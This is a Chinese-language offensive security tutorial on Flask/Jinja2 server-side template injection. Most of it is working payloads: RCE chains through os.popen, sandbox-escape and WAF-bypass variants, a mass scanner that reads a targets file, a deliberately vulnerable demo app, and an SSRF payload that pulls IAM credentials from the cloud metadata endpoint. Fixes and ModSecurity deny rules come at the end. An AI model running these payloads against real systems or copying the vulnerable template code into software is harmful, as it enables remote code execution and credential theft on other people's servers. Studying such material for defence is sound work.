Flask / Jinja2 SSTI 实战

1. SSTI 产生的根本原因

Jinja2 把 {{ }}{% %} 里的内容当成 Python 表达式求值。当开发者把用户可控数据直接传给 render_template_string 或模板变量被污染时,就会产生 SSTI。

危险代码示例:

from flask import Flask, request
from flask.templating import render_template_string

app = Flask(__name__)

@app.route('/search')
def search():
    q = request.args.get('q')
    # 危险!直接拼接成模板
    template = f"<h1>Search results for: {q}</h1>"
    return render_template_string(template)

# PoC: ?q={{7*7}} → 页面显示 49
# PoC: ?q={{config}} → 泄露全部配置含 SECRET_KEY

2. 基础探测 Payload

Payload 预期 说明
{{7*7}} 49 最小测试
{{7+7}} 14 基础运算
{{config}} 泄露 Flask 配置对象
{{config.items()}} 泄露 全部配置键值
{{request}} 对象 请求对象
{{self.__class__}} Jinja2 内部对象
{{''.__class__}} class str 基础类型类

3. 构造 MRO 链(关键技巧)

Python 的 方法解析顺序(MRO) 是所有 SSTI Payload 的基础。从任意一个对象的 __class__ 往上爬就能找到 <class 'object'>,再从 object 的子类列表里捞到危险模块。

# Python 3 MRO 链
''.__class__.__mro__
# (class 'str', class 'object')

''.__class__.__mro__[1].__subclasses__()
# [class type, class weakref, class weakcallableproxy, ..., class subprocess.Popen, ...]

# 找到 os._wrap_close(subprocess.Popen 不在默认 list,但可通过 os 模块拿到)
# 或用 _io._wrap_close(在大部分 Python 版本都有)
for c in ''.__class__.__mro__[1].__subclasses__():
    if 'Popen' in c.__name__:
        print(c)

4. 各场景 RCE Payload

4.1 Flask + Jinja2 默认环境

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[41]('id',shell=True,stdout=-1).communicate()[0].strip() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ get_flashed_messages.__globals__['os'].popen('id').read() }}
{{ request.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

4.2 Python 3 通用 payload(不需要确定索引)

{{ ''.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

{# 自动寻找带 __import__ 的类 #}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

4.3 Jinja2 沙箱逃逸(SandboxedEnvironment)

{# 修改 __builtins__ 访问权限 #}
{{ request.environ['werkzeug.server.shutdown'].__func__.__globals__['os'].system('id') }}

{# 通过 join / truncate 等全局对象拿到 globals #}
{{ joiner.__init__.__globals__.__builtins__['__import__']('os').popen('id').read() }}
{{ namespace.__init__.__globals__.__builtins__['__import__']('os').popen('id').read() }}

{# 利用 url_for 拿 flask 全局 #}
{{ url_for.__globals__['current_app'].config }}
{{ url_for.__globals__['__builtins__']['__import__']('os').popen('id').read() }}

4.4 绕过 WAF(过滤了 builtins / __)

{# 用 chr 拼接绕过 __import__ #}
{{ cycler.__init__.__globals__.os.__import__.__call__.__self__.__class__.__mro__[1].__subclasses__()[137].__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

{# 用 |attr 过滤器绕过点号过滤 #}
{{ cycler|attr('__init__')|attr('__globals__')|attr('os')|attr('popen')('id')|attr('read')() }}

{# 用 request.args 注入 #}
{{ cycler.__init__.__globals__[request.args.kw](request.args.cmd).popen(request.args.c).read() }}
# URL: ?kw=os&cmd=id&c=id

5. SSTI 检测脚本

import requests, urllib3
urllib3.disable_warnings()

def check_ssti(url, param='q'):
    tests = [
        ("{{7*7}}", "49"),
        ("${7*7}", "49"),
        ("{{7+7}}", "14"),
    ]
    for payload, marker in tests:
        try:
            r = requests.get(url, params={param: payload}, timeout=8, verify=False)
            if marker in r.text and payload not in r.text:
                print(f"[!] {url} 参数 {param} 存在 SSTI (payload: {payload})")
                return True
        except Exception:
            pass
    return False

# 进阶:自动探测所有 URL 参数
def scan_url(url):
    r = requests.get(url, timeout=8, verify=False)
    # 解析所有可能的参数名(简化版)
    for param in ['q', 'search', 'name', 'id', 'user', 'page', 'title', 'message', 'greeting']:
        check_ssti(url, param)

for u in open("targets.txt"): scan_url(u.strip())

6. 真实案例复现脚本

from flask import Flask, request, render_template_string

app = Flask(__name__)
app.config['SECRET_KEY'] = 'super-secret-key-12345'

@app.route('/hello')
def hello():
    name = request.args.get('name', 'Guest')
    # 漏洞:把用户输入拼进模板
    return render_template_string(f"<h1>Hello, {name}!</h1>")

@app.route('/greet')
def greet():
    # 更危险:直接使用 filter_map 把用户输入交给模板
    msg = request.args.get('msg')
    tmpl = f"<p>{msg}</p>"
    return render_template_string(tmpl)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

# 攻击:
#   curl 'http://localhost:5000/hello?name={{7*7}}' → 49
#   curl 'http://localhost:5000/greet?msg={{config}}' → 泄露 SECRET_KEY
#   curl 'http://localhost:5000/greet?msg={{cycler.__init__.__globals__.os.popen("id").read()}}' → RCE

7. 修复与加固

7.1 代码层(必须做)

# ❌ 危险
return render_template_string(f"<h1>Hello, {name}!</h1>")

# ✅ 正确
return render_template_string("<h1>Hello, {{ name }}!</h1>", name=name)
# 或直接用 render_template
return render_template("hello.html", name=name)

7.2 输入类型约束

from flask_wtf import FlaskForm
from wtforms import StringField, validators

class SearchForm(FlaskForm):
    q = StringField('Search', [validators.Length(min=1, max=50), validators.Regexp(r'^[a-zA-Z0-9_]+$')])

7.3 Jinja2 SandboxedEnvironment(可作为防御层)

from jinja2.sandbox import SandboxedEnvironment

# 即使被误用,也能限制影响范围
env = SandboxedEnvironment()
# ❌ env.from_string("{{cycler.__init__.__globals__.os.popen('id').read()}}").render() 会报 SecurityError

7.4 WAF 规则

ModSecurity 规则集:

  • SecRule ARGS|ARGS_NAMES "@rx (\{\{|\{%|\#\{|\$\{)" "id:950920,phase:2,deny"
  • SecRule ARGS "@rx (__class__|__mro__|__subclasses__|__globals__|__builtins__)" "id:950921,phase:2,deny"

8. 防御层设计优先级

  1. 根本不要把用户输入当作模板内容;
  2. Jinja2 只用 {{ var }} 形式,不要 render_template_string(f"...{user}...")
  3. 部署 SandboxedEnvironment 作为第二道防线;
  4. WAF 拦截 {{ {% __class__ 等特征。

9. SSTI 与 SSRF 联动

某些 SSTI 场景下,攻击者可以用 url_for 配合 request.args 对内网发起 SSRF:

{{ request.__class__.__init__.__globals__['requests'].get('http://169.254.169.254/latest/meta-data/iam/security-credentials/').text }}

此时应同时在防火墙层限制对外网的出站请求。


SSTI 是 Python Web 项目最常见也最容易被忽略的漏洞。审计时全局搜索 render_template_stringeval()exec()eval(f"...{user}..." 组合即可快速定位风险点。